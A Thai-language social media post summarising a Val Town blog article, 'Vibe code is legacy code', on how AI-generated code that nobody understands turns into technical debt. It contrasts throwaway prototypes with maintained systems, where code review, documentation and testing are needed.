ผู้ใช้ที่ไม่มีพื้นฐานการเขียนโค้ดอาจเข้าใจผิดว่า AI สร้างโค้ดที่ “ดีพอ” แล้ว
ขาดการตรวจสอบความปลอดภัย, ประสิทธิภาพ, และความสามารถในการขยาย
อาจเกิดช่องโหว่ด้านความปลอดภัยหรือข้อมูลรั่วไหล

การใช้ vibe coding ในระบบที่ต้องดูแลต่อเนื่องควรมีแนวทางควบคุมที่ชัดเจน
ต้องมีการตรวจสอบโค้ด, เขียนเอกสาร, และทดสอบอย่างสม่ำเสมอ
ไม่ควรใช้ AI แทนมนุษย์ในทุกขั้นตอนของการพัฒนา

ถ้าอยากให้ผมช่วยวางแนวทางการใช้ vibe coding อย่างปลอดภัยในองค์กร หรือเปรียบเทียบเครื่องมือช่วยตรวจสอบโค้ด AI เช่น Bugbot, Cursor, หรือ GitHub Copilot ผมพร้อมเจาะลึกให้คุณได้เลยครับ

https://blog.val.town/vibe-code

🧠 เรื่องเล่าจากสนามโค้ด: เมื่อ vibe coding คือการรูดบัตรเครดิตโดยไม่รู้ยอดหนี้ “Vibe coding” เป็นคำที่ Andrej Karpathy นิยามไว้ในต้นปี 2025 หมายถึงการเขียนโค้ดด้วย AI โดยไม่ต้องเข้าใจโค้ดทั้งหมด—แค่บอกสิ่งที่ต้องการ แล้วปล่อยให้ LLM (เช่น GPT-4 หรือ Claude) สร้างโค้ดให้เอง มันเหมาะกับการสร้างโปรเจกต์เล็ก ๆ หรือแอปต้นแบบที่ไม่ต้องดูแลระยะยาว เช่น แอปคำนวณ, เกมเล็ก ๆ, หรือเครื่องมือส่วนตัว เพราะเร็วและไม่ต้องลงแรงมาก แต่เมื่อ vibe coding ถูกใช้กับโปรเจกต์ใหญ่หรือระบบที่ต้องดูแลต่อเนื่อง มันกลายเป็น “legacy code” ที่ไม่มีใครเข้าใจ และนำไปสู่ “หนี้เทคโนโลยี” ที่ต้องจ่ายคืนด้วยเวลาและแรงงานมหาศาลในอนาคต ✅ Vibe coding คือการเขียนโค้ดด้วย AI โดยไม่ต้องเข้าใจโค้ดทั้งหมด ➡️ ใช้ LLM สร้างโค้ดจากคำสั่งธรรมดา เช่น “สร้างเว็บแสดงข้อมูลประชากรตามเมือง” ➡️ ผู้ใช้ทำหน้าที่เป็นผู้กำกับ ไม่ใช่ผู้เขียนโค้ดโดยตรง ✅ เหมาะกับโปรเจกต์ต้นแบบหรือแอปที่ไม่ต้องดูแลระยะยาว ➡️ เช่น แอปคำนวณ, เกมเล็ก ๆ, หรือเครื่องมือส่วนตัว ➡️ ไม่ต้องเข้าใจโค้ดลึก เพราะไม่ต้องแก้ไขหรือขยายในอนาคต ✅ Vibe coding ทำให้คนทั่วไปสามารถสร้างซอฟต์แวร์ได้โดยไม่ต้องเรียนเขียนโค้ด ➡️ เป็นการ democratize การพัฒนาโปรแกรม ➡️ ลดเวลาและต้นทุนในการสร้าง MVP หรือไอเดียใหม่ ✅ แต่เมื่อใช้กับโปรเจกต์จริง จะเกิด “หนี้เทคโนโลยี” (technical debt) ➡️ โค้ดที่ไม่มีโครงสร้างชัดเจน, ไม่มีเอกสาร, และไม่มีการทดสอบ ➡️ ยากต่อการแก้ไข, ขยาย, หรือ debug ในอนาคต ✅ นักพัฒนาบางคนใช้ vibe coding แบบมีสติ—ให้ AI ช่วยเฉพาะจุด และตรวจสอบทุกบรรทัด ➡️ ใช้ AI เป็นผู้ช่วย ไม่ใช่ผู้แทน ➡️ เหมาะกับงานที่ต้องการความแม่นยำและความปลอดภัย ✅ เครื่องมืออย่าง Townie, Cursor, และ Bugbot ถูกสร้างขึ้นเพื่อควบคุมคุณภาพของ vibe coding ➡️ ตรวจสอบโค้ดอัตโนมัติ, แนะนำการแก้ไข, และลดข้อผิดพลาด ➡️ ช่วยให้ vibe coding ปลอดภัยขึ้นในระดับองค์กร ‼️ การใช้ vibe coding โดยไม่เข้าใจโค้ด อาจนำไปสู่ระบบที่ไม่มีใครดูแลได้ ⛔ เมื่อเกิดปัญหา จะไม่มีใครรู้ว่าจะแก้ตรงไหน ⛔ ต้องพึ่ง AI ในการแก้ไข ซึ่งอาจทำให้ปัญหาซับซ้อนขึ้น ‼️ หนี้เทคโนโลยีจาก vibe coding อาจสะสมจนทำให้โครงการล่ม ⛔ โค้ดที่ดูดีภายนอกอาจมีปัญหาเชิงโครงสร้างภายใน ⛔ การ refactor หรือ rewrite อาจใช้เวลามากกว่าการเขียนใหม่ตั้งแต่ต้น ‼️ ผู้ใช้ที่ไม่มีพื้นฐานการเขียนโค้ดอาจเข้าใจผิดว่า AI สร้างโค้ดที่ “ดีพอ” แล้ว ⛔ ขาดการตรวจสอบความปลอดภัย, ประสิทธิภาพ, และความสามารถในการขยาย ⛔ อาจเกิดช่องโหว่ด้านความปลอดภัยหรือข้อมูลรั่วไหล ‼️ การใช้ vibe coding ในระบบที่ต้องดูแลต่อเนื่องควรมีแนวทางควบคุมที่ชัดเจน ⛔ ต้องมีการตรวจสอบโค้ด, เขียนเอกสาร, และทดสอบอย่างสม่ำเสมอ ⛔ ไม่ควรใช้ AI แทนมนุษย์ในทุกขั้นตอนของการพัฒนา ถ้าอยากให้ผมช่วยวางแนวทางการใช้ vibe coding อย่างปลอดภัยในองค์กร หรือเปรียบเทียบเครื่องมือช่วยตรวจสอบโค้ด AI เช่น Bugbot, Cursor, หรือ GitHub Copilot ผมพร้อมเจาะลึกให้คุณได้เลยครับ 🤖🧠💻 https://blog.val.town/vibe-code

BLOG.VAL.TOWN

Vibe code is legacy code
Updates and articles from the Val Town team

0 Comments 0 Shares 46 Views 0 Reviews

Please log in to like, share and comment!